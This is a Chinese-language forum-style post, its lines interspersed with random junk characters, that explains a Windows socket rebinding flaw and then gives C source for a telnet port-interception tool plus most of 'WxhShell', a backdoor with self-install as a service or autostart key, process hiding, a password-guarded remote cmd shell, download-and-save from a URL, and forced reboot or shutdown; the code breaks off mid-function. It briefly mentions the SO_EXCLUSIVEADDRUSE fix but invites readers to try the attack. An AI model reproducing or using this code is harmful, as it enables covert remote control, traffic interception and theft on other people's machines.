在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
L37 Y+C// s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X[
q+619 3vhnwDcK saddr.sin_family = AF_INET;
"k*PA\U gVQjL+_W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Nkxmm/Z `ps)0!L
L` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
uH/w\v_I kpL@P oQ/r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FuI73 *f&EoUk}F 这意味着什么?意味着可以进行如下的攻击:
1XM^8 .; ku$$ 1xq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Ya>oCr}K JD@J[YY5R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2
rw%H N\:.
M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
O5$/55PI &j(+ /;A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y<1QY?1sd <N\v)Ug` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i1H\#;`$ _^Mx>hb4. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m_?d=o
06$!R/K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HGm 3+, }*.0N;;C #include
*K> l*l(f] #include
=]:> "_jN #include
wP[t0/dl #include
!vG'J\*xc DWORD WINAPI ClientThread(LPVOID lpParam);
WVVJ int main()
'cY` w {
Y3Vlp/"rB" WORD wVersionRequested;
i4^o59}8 DWORD ret;
#fT*]NN WSADATA wsaData;
m[j70jYe BOOL val;
LPMU8Er SOCKADDR_IN saddr;
J[f;Xlh SOCKADDR_IN scaddr;
(`y*V;o4 int err;
x| yEtO& SOCKET s;
. e=C{ SOCKET sc;
c478P=g=5 int caddsize;
Yjx|9_|Xn HANDLE mt;
v) vkn/: DWORD tid;
&u#&@J wVersionRequested = MAKEWORD( 2, 2 );
pdE3r$C err = WSAStartup( wVersionRequested, &wsaData );
X]P:CY if ( err != 0 ) {
C@th O printf("error!WSAStartup failed!\n");
W 4F \}A return -1;
k0T?-iM }
)M)7"PC saddr.sin_family = AF_INET;
v|U(+O ZDbc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rn<PR* |SyMngIY saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JV;OGh> saddr.sin_port = htons(23);
jBegh9KHq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fk_o@
G!0 {
5nsq[Q` printf("error!socket failed!\n");
DGzw8|/( return -1;
m!<\WN6g }
[B+W%g(c- val = TRUE;
mEG#>Gg$ //SO_REUSEADDR选项就是可以实现端口重绑定的
zbq@pj)Qu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6R=W}q4 {
27;ci:5 printf("error!setsockopt failed!\n");
J~#;<e{\" return -1;
D1__n6g[ }
N^3N[lD{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Fd0%lnui //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
P*cNh43U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
CiB%B`,N ,?L2wl[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
lbpq_= {
V0)fZS@tf ret=GetLastError();
$m42:a mM printf("error!bind failed!\n");
s8}@=]aA return -1;
#5V9oKM }
uDEvzk42 listen(s,2);
hZ.Z3`v70 while(1)
Q[nEsYP {
mauI42 caddsize = sizeof(scaddr);
k+ze74_" //接受连接请求
fMOU$0]$< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R~Ne|V2 if(sc!=INVALID_SOCKET)
9(@\&>) {
fl\ly`_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#-bA[eQV if(mt==NULL)
TA{\PKA) {
g1jTy7g? printf("Thread Creat Failed!\n");
~Q\3pI. | break;
8 XU1/i7N }
1Z9qjV%^ }
>yULC|'F&~ CloseHandle(mt);
3`k;a1Z#O' }
{~F4WjHJp closesocket(s);
KQ~i<1&j WSACleanup();
7AObC4 g return 0;
mya_4I
m }
SLh(9%S; DWORD WINAPI ClientThread(LPVOID lpParam)
/kfgx{jZ {
@;'o2 SOCKET ss = (SOCKET)lpParam;
C+TI]{t SOCKET sc;
P'`r unsigned char buf[4096];
)a-Du$kd SOCKADDR_IN saddr;
"sG=wjcw^ long num;
E@ESl0a; DWORD val;
nJo`B4'U DWORD ret;
NUp<e%zB //如果是隐藏端口应用的话,可以在此处加一些判断
(;q;E\Ejq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zzyHoZJP saddr.sin_family = AF_INET;
rnF/H=I/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p>upA)W] saddr.sin_port = htons(23);
d!$Z(W0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oZAB _A)[- {
_A=$oVe printf("error!socket failed!\n");
IP(Vr7-v return -1;
L|,!?cSAT }
;UfCj5`Q)4 val = 100;
{HCzp,Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PbmDNKEh{ {
S;)w. ret = GetLastError();
6Aku1h return -1;
tQjLOv+?= }
@~%r5pz6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kOed ]>H {
(JM5`XwM
ret = GetLastError();
9o+)?1\ return -1;
QDhOhGK }
JhLgCnm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T7#W0^tj {
07[_.i.l printf("error!socket connect failed!\n");
o}$EG closesocket(sc);
2* 2wY = closesocket(ss);
}yz (xH return -1;
Jl&-,Vjb }
%oO4|JkJX while(1)
7:2WgLo {
!Ze5)g%H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4 XAQVq5 //如果是嗅探内容的话,可以再此处进行内容分析和记录
sashzVwJ-= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
NB8/g0:=n& num = recv(ss,buf,4096,0);
(,8$V\ if(num>0)
[Lzw#XE send(sc,buf,num,0);
oomT)gO 6* else if(num==0)
4B^ZnFJ%m break;
u4/kR num = recv(sc,buf,4096,0);
{o>j6RS\ if(num>0)
nYX@J6! send(ss,buf,num,0);
Ipf=ZD else if(num==0)
;9c<K break;
&MCbYph, }
P3=W|81e closesocket(ss);
,=#F// closesocket(sc);
BYMi6wts return 0 ;
o<|P9#(U" }
}3OKC2K~ FN8NTBk
wwyPl ==========================================================
#N`~xZ|$ *exS6@N] 下边附上一个代码,,WXhSHELL
e8GEoD tV{4"Ij9[ ==========================================================
6BCf:mqP OR;uqV@ #include "stdafx.h"
o}* hY"& 3G(miP6 #include <stdio.h>
%y@Hh= #include <string.h>
FgB&b #include <windows.h>
lp(8E6 #include <winsock2.h>
}Nf%n@ #include <winsvc.h>
H{=21\a\ #include <urlmon.h>
uLWh| E( Z8 #pragma comment (lib, "Ws2_32.lib")
t({W
[JL #pragma comment (lib, "urlmon.lib")
D?NbW @] [rSR:V?"a #define MAX_USER 100 // 最大客户端连接数
[D<1CF #define BUF_SOCK 200 // sock buffer
_tYx~J2.Q #define KEY_BUFF 255 // 输入 buffer
;N0~;I yge,8i)c #define REBOOT 0 // 重启
/K.!sQ$ #define SHUTDOWN 1 // 关机
"-+\R}q$ 6I4oi@hZz #define DEF_PORT 5000 // 监听端口
'2[albxSc O4og?h> #define REG_LEN 16 // 注册表键长度
n6BQk2l #define SVC_LEN 80 // NT服务名长度
Y\$ySvZ0 Ndi9FD3im // 从dll定义API
1f":HnLRM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3ZXQoC ' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hMykf4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v#U"pn|M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/(.mp<s0 sXD1C2o // wxhshell配置信息
p_${Nj struct WSCFG {
IX>d`O61*g int ws_port; // 监听端口
\uaJ@{Vug char ws_passstr[REG_LEN]; // 口令
<gQIq{B? int ws_autoins; // 安装标记, 1=yes 0=no
.P7"e5ge char ws_regname[REG_LEN]; // 注册表键名
GJoS #s char ws_svcname[REG_LEN]; // 服务名
x7eQ2h6O char ws_svcdisp[SVC_LEN]; // 服务显示名
1$p2}Bf{n char ws_svcdesc[SVC_LEN]; // 服务描述信息
Q|D @Yd\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Cd>WUw int ws_downexe; // 下载执行标记, 1=yes 0=no
LC'{p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!BOY@$Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A m>cd; Fd[zDz };
4}eepJOn qa0 yg8,< // default Wxhshell configuration
$>u*}X9 struct WSCFG wscfg={DEF_PORT,
Yd#/1!A7u "xuhuanlingzhe",
{l/-LZ. 1,
2kIa*#VOJ "Wxhshell",
z$?~Y(EY "Wxhshell",
f]\CD<g3|E "WxhShell Service",
6{^E{go "Wrsky Windows CmdShell Service",
Is{KN!Hw "Please Input Your Password: ",
5*,f
Fib 1,
u (em&M "
http://www.wrsky.com/wxhshell.exe",
&8g?4v "Wxhshell.exe"
LQngK7> };
8q,6}mV
93`
AWg/T // 消息定义模块
d;>#Sxf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,^eYlmT>6 char *msg_ws_prompt="\n\r? for help\n\r#>";
\ywXi~+kUv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
s#)5h0t#du char *msg_ws_ext="\n\rExit.";
<7j87 char *msg_ws_end="\n\rQuit.";
{6_|/KE9_ char *msg_ws_boot="\n\rReboot...";
--|Wh^i>? char *msg_ws_poff="\n\rShutdown...";
WYEKf9} char *msg_ws_down="\n\rSave to ";
!AKg m'Nw 3 G`aHTWk char *msg_ws_err="\n\rErr!";
z6w3"9Um char *msg_ws_ok="\n\rOK!";
_YLfL lna}@]oR char ExeFile[MAX_PATH];
=A!@6Nw int nUser = 0;
VBcy9|lD HANDLE handles[MAX_USER];
:"xzj<( int OsIsNt;
bqnNLs<N w(/aiV SERVICE_STATUS serviceStatus;
^7 &5
z&o SERVICE_STATUS_HANDLE hServiceStatusHandle;
t ]_VG Pyb Z)5u // 函数声明
LRb{hUt= int Install(void);
TiO"xMX int Uninstall(void);
jN6uT&{T int DownloadFile(char *sURL, SOCKET wsh);
~==>pj int Boot(int flag);
FMClSeO7
void HideProc(void);
S=e{MI int GetOsVer(void);
uoX:^'q
int Wxhshell(SOCKET wsl);
EB2!Hp uQ3 void TalkWithClient(void *cs);
|>tKq;/ int CmdShell(SOCKET sock);
YYu6W@m] int StartFromService(void);
v,4pp@8rv int StartWxhshell(LPSTR lpCmdLine);
3
%|86:* 3P^sM1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
m6[0Kws& VOID WINAPI NTServiceHandler( DWORD fdwControl );
}5}.lJ: PSZL2iGj9V // 数据结构和表定义
[5+}rwm&W SERVICE_TABLE_ENTRY DispatchTable[] =
QUQu^p {
~XWQhIAM4 {wscfg.ws_svcname, NTServiceMain},
lJis~JLd` {NULL, NULL}
;[u%_ };
obNqsyc77R p|&Yku= // 自我安装
/5:bvg+ int Install(void)
!VI]oRgP {
DIzH`|Y char svExeFile[MAX_PATH];
b+&%1C HKEY key;
tjluk strcpy(svExeFile,ExeFile);
A#95&kJpy i* NH'o/
// 如果是win9x系统,修改注册表设为自启动
X .5aMm if(!OsIsNt) {
fvF?{k> ~} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
( 8c9 /7h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/|eA9 ] RegCloseKey(key);
jg\Z;_!W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ZfgJ.<< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N,;5{y1;J RegCloseKey(key);
#EsNeBu return 0;
I$0)Px%z }
,Qnd3[2[ }
ML8<4o }
H
s"HID else {
:X]itTrGs li 6%) // 如果是NT以上系统,安装为系统服务
JAX*hGhkh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?`#/ 8PN if (schSCManager!=0)
,}))u0q+: {
5yiK+-iTs SC_HANDLE schService = CreateService
KjE+QUa (
Y~(Md@!0S schSCManager,
<c,u3cp wscfg.ws_svcname,
DFd%9*N wscfg.ws_svcdisp,
NF0%}II&xK SERVICE_ALL_ACCESS,
o)2W`i & SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\DD0s8 SERVICE_AUTO_START,
thvYL.U: SERVICE_ERROR_NORMAL,
q11>f svExeFile,
tGl;@V@Qj NULL,
3
"Q=Vl" NULL,
x`dHJq`_g NULL,
FTQ%JTgT NULL,
%e(z/"M=` NULL
6N;wqn );
-OA?BEQ=I if (schService!=0)
D? 8rO" {
:C65-[PSdO CloseServiceHandle(schService);
K/3)g9Z&io CloseServiceHandle(schSCManager);
3T}izG] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}woo%N P strcat(svExeFile,wscfg.ws_svcname);
mA*AeP_$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
eZdu2.;< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?hWwj6i& RegCloseKey(key);
9=V:&.L return 0;
NZ-\h }
p-zXp K" }
[vHv0" CloseServiceHandle(schSCManager);
v(-{=*': }
J~1r{5V4{ }
B{C??g8/ X90J! return 1;
r.>].~}4 }
TT4./R: JA'h4AXk // 自我卸载
%JHGiCv| int Uninstall(void)
)p~BQ~eip; {
^*S)t.
" HKEY key;
@g$Gti JNa"8 if(!OsIsNt) {
72Iy^Y[MX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"Za>ZRR RegDeleteValue(key,wscfg.ws_regname);
'
)?f{ RegCloseKey(key);
,>eMG=C; g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0\@dYPa&C RegDeleteValue(key,wscfg.ws_regname);
, 'ZD=4_ RegCloseKey(key);
wm$}Pch return 0;
1I<rXY(a` }
nZ@&2YPlem }
8&3V#sn' }
'&gF> else {
.$%Soyr?, 4)"n
RjGg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}f8Uc+ if (schSCManager!=0)
L}}y'^( {
7_mw%|m6@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=RAh|e if (schService!=0)
ALNc'MW! {
Ju3*lk/j- if(DeleteService(schService)!=0) {
1QU:?_\6@t CloseServiceHandle(schService);
<X7FMNr[ CloseServiceHandle(schSCManager);
5K<5kHpvJ{ return 0;
hvuIxqv !y }
%9M~f* CloseServiceHandle(schService);
0LfU=X0#7 }
&znQ;NH# CloseServiceHandle(schSCManager);
KA){''>8 }
E !a|Xp }
\yd
s5g!: yfx7{naKC` return 1;
e|p$d:#! }
USVqB\# KTn}w:+B\ // 从指定url下载文件
8ZKo_I\
int DownloadFile(char *sURL, SOCKET wsh)
h|h>u
^@ {
3v
mjCm HRESULT hr;
)Jk0v_ X char seps[]= "/";
mXUGe:e8 char *token;
DWID$w char *file;
&/uu)v char myURL[MAX_PATH];
&%s8L\? char myFILE[MAX_PATH];
&p}$J)q \L(*]:EP strcpy(myURL,sURL);
YQpSlCCo
3 token=strtok(myURL,seps);
SnFk>` while(token!=NULL)
Yb/i{@AJ {
tX@_fYb file=token;
F8uNL)gKj) token=strtok(NULL,seps);
wmTq` XH) }
l"!Ko G7 p8\zG|b5 GetCurrentDirectory(MAX_PATH,myFILE);
Wt=| strcat(myFILE, "\\");
+\|Iu;w strcat(myFILE, file);
_`I"0.B] send(wsh,myFILE,strlen(myFILE),0);
F@* +{1R send(wsh,"...",3,0);
)QG<f{wS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
qOUqs'7/] if(hr==S_OK)
aAA9$ return 0;
>2Jdq else
+=mkCU return 1;
Y;e,Gq` ^~$)F_`" }
RgGyoZ _x?uU // 系统电源模块
ObE,$_ k int Boot(int flag)
x,otFp {
~,BIf+\XF HANDLE hToken;
:sP!p`dl TOKEN_PRIVILEGES tkp;
3Ezy %7 jWY$5Vq<H if(OsIsNt) {
?APeR,"V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
13+<Q \ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`"@g8PWe tkp.PrivilegeCount = 1;
}Y*VAnY6; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u_'!_T L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4lM8\Lr if(flag==REBOOT) {
S3@|Q\*r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
DZv=\<$,LF return 0;
[ e8x&{L-_ }
|<Gl91 else {
]ZoD'-, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`d[1`P1i[ return 0;
E-{^E. w1 }
Cxcr/9 }
l%`F&8K else {
bg3"W,bv% if(flag==REBOOT) {
Ga^Zb^y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8-lOB return 0;
5 gv/Pq & }
!
/NG.Wf else {
J%jB?2
1:o if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
c=
x,ijY
" return 0;
qt3PXqR7: }
v\,N 5 }
,i0b)=!o ~\cO"(y5:O return 1;
k~/>b~.c }
RiTa \ t(+)# // win9x进程隐藏模块
Ik[s void HideProc(void)
_9?I A {
sU!6 hk d~?X/sJ t HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`D":Q=: if ( hKernel != NULL )
|8.(XsN {
t2V0lyeL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`$~RxzZ g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
JGFt0He] FreeLibrary(hKernel);
=fYL}m5E }
je6CDF qw p[@5&_u(z return;
<n:}kQTT }
Zo}y(N1K} rx5B=M // 获取操作系统版本
xy<`# int GetOsVer(void)
90#
;?# {
I"t(%2*q OSVERSIONINFO winfo;
#9m$ N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3GmeD/6 GetVersionEx(&winfo);
%',F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qA:#iJ8w return 1;
O0:)X)b else
~-#yOu
,w return 0;
C'!;J }
yCXrVN:`, O$g_@B0E1 // 客户端句柄模块
ZKz,|+X0G int Wxhshell(SOCKET wsl)
Cv*x2KF
G {
-@F fU2 SOCKET wsh;
-3&G"hfK struct sockaddr_in client;
>F@qpjoQE DWORD myID;
ooj~&fu ?+t1ME| while(nUser<MAX_USER)
k78Vh$AA6% {
_oB_YL;,* int nSize=sizeof(client);
';G1A wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
X>I)~z}9# if(wsh==INVALID_SOCKET) return 1;
a|BcnYN $x#FgD(iI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<|*'O5B if(handles[nUser]==0)
#"ftI7=42 closesocket(wsh);
MzYavg` else
|T4kqW{ nUser++;
@O}7XRJ_8 }
9ktEm|F3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]{
d[ {u\%hpD_ return 0;
~RBrSu) }
IhiGP
{ 3pXLSdxB // 关闭 socket
#Ch;0UvFF void CloseIt(SOCKET wsh)
3:5DL!Sm8J {
&6j<c a closesocket(wsh);
erl:9. nUser--;
5 #]4YI; ExitThread(0);
>|o_wO }
e/8z+H^H Vi]c%*k // 客户端请求句柄
fIocq void TalkWithClient(void *cs)
G2#d$ {
!$g+F(:(c 0fs$#j SOCKET wsh=(SOCKET)cs;
>qo~d?+ char pwd[SVC_LEN];
}4>JO"" char cmd[KEY_BUFF];
f{lZKfrp char chr[1];
MDRe(rF= int i,j;
,&YTj> Zw]
?. while (nUser < MAX_USER) {
XTeb9h)3 CodSJ, if(wscfg.ws_passstr) {
;50_0Mv;(: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.5Q:Xp //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l+wc'=] //ZeroMemory(pwd,KEY_BUFF);
8z<r.joxC i=0;
U,lJ"$' while(i<SVC_LEN) {
>J=<bhR 1#
t6`N]?V // 设置超时
L fl-!1 fd_set FdRead;
?`zgq>R}w[ struct timeval TimeOut;
1j\aH&)GH FD_ZERO(&FdRead);
_ jAo:K_Z FD_SET(wsh,&FdRead);
*]x*B@RF TimeOut.tv_sec=8;
>?YNW TimeOut.tv_usec=0;
{6d b{ ay_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=ZsGT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Gy@7Xf :&J8.G^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}'=h4yI pwd
=chr[0]; 0+b0<
if(chr[0]==0xd || chr[0]==0xa) { On1v<SD$[
pwd=0; #vf_D?^
break; 2N~ E' 25
} z}.D"
P+
i++; cX
A t:m
} 1Qh`6Ya f
/.=r>a}l
// 如果是非法用户,关闭 socket 2 [!Mx&^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P` '$
} OK`Z@X_,bW
m]IysyFFK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \,sg)^w@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _a+ICqR
ex?\c"
while(1) { RP(/x+V
TRKgBK$,
ZeroMemory(cmd,KEY_BUFF); %HSl)zEo>C
u{bL-a8}
// 自动支持客户端 telnet标准 L"rcv:QWZa
j=0; T 4|jz<iK]
while(j<KEY_BUFF) { agd)ag4"[u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F*
#h9
Y
cmd[j]=chr[0]; PM4>ThQ
if(chr[0]==0xa || chr[0]==0xd) { ^p_u.P
cmd[j]=0; LxT rG)4
break; %^9:%ytt
} XLTD;[jO
j++; rF'R>/H
} B50 [O!
(BERY
// 下载文件 XKq@]=\F
if(strstr(cmd,"http://")) { Qa$NBNxKl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v_sm
if(DownloadFile(cmd,wsh)) 7aQcP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7nz!0I^
else pIVq("&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BDpF}
} NygI67
else { >IR$e=5$
vS M_]fn
switch(cmd[0]) { ygvzdYd
!*P&Eat
// 帮助 9NWloK6bT
case '?': { .^XHuN&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _@E "7<\
break; p(7QAd4
} VjTe4$ *
// 安装 g8yN%)[
case 'i': { _=6 OP8
if(Install()) 3 C"_$?y"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3Do~RyL[
else 7C5pAb:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X&\o{w9%
break; id?_>9@P
} m.V,I}J.q
// 卸载 a{_ KSg
case 'r': { O|UxFnB}
if(Uninstall()) 8U^D(jrz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aqfL0Rg+`
else ck$2Ue2`@w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }
gkP
break; Z( #Ln
} C|6{fd4?
// 显示 wxhshell 所在路径 5OB]x?4]
case 'p': { +a]j[#
char svExeFile[MAX_PATH]; Wg(bD,
strcpy(svExeFile,"\n\r"); pruWO'b`
strcat(svExeFile,ExeFile); {NeWdC
send(wsh,svExeFile,strlen(svExeFile),0); v[D&L_
break;
_>v0R'
} 5w-JPjH
// 重启 zKJ.Tj W
case 'b': { ih!~G5Xi9i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
1#D<ZN
if(Boot(REBOOT)) A7(M,4`6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QUPf*3Oy
else { hb! ln7
closesocket(wsh); C*O
,rm}
ExitThread(0); bp Ml =_
} M]B3vPA/v
break; }Z-I2
=]
} taCCw2s-8*
// 关机 m %Y(O
case 'd': { s$3`X(Pn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l7Y8b`
if(Boot(SHUTDOWN)) -,/3"}<^78
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V5Xi '=
else { =z-5
closesocket(wsh);
0dh#/
ExitThread(0); M,JA;a, _
} %|jzEBz@
break; <N5rv3
s
} hBoP=X.~
// 获取shell 1$OVe4H1
case 's': { jIZ+d;1
CmdShell(wsh); bx7\QU+
closesocket(wsh); K>LpN')d
ExitThread(0); 9ET/I$n
break; G)~MbesJ
} :;_#5
// 退出 u0'i!@795
case 'x': { QmHwn)Ly
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
7&px+155
CloseIt(wsh); Q!x`M4
break; tO4):i1
} (h|ch#
// 离开 =Pj@g/25u
case 'q': { s@z{dmL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ym:{Mm=ud
closesocket(wsh); =
uk`pj[l
WSACleanup(); |f3U%2@
exit(1); r!~(R+,c
break; rV~T>x
} `11#J;[@G
} wH#-mu#Yl<
} Tr$i=
M
e^Aa!
// 提示信息 jPpRsw>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eB7>t@ED
} &
L3UlL
} t5n2eOy~T
qf)C%3gXI
return; Kny%QBoiw
} fZ{&dslg
<g*.p@o
// shell模块句柄 4XD)E&
int CmdShell(SOCKET sock) .`mtA`N
{ LjC6?a_?l
STARTUPINFO si; Gj5>Y!9
ZeroMemory(&si,sizeof(si)); >j)
w\i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;{]8>`im&4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; joY1(Y
PROCESS_INFORMATION ProcessInfo; e"PMvQ
char cmdline[]="cmd"; Kc-Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gxo#
!
return 0; n+X1AOE[L
}
:4{Qh
|@+8]dy:l
// 自身启动模式 [qW<D/@
int StartFromService(void) }}s8D>;G~
{ N:OD0m%`)
typedef struct k3C"
{ Pf{`/UlD
DWORD ExitStatus; 6mi$.'
qP
DWORD PebBaseAddress; tnN'V
DWORD AffinityMask; Tt`L(oF
DWORD BasePriority; H/pcXj
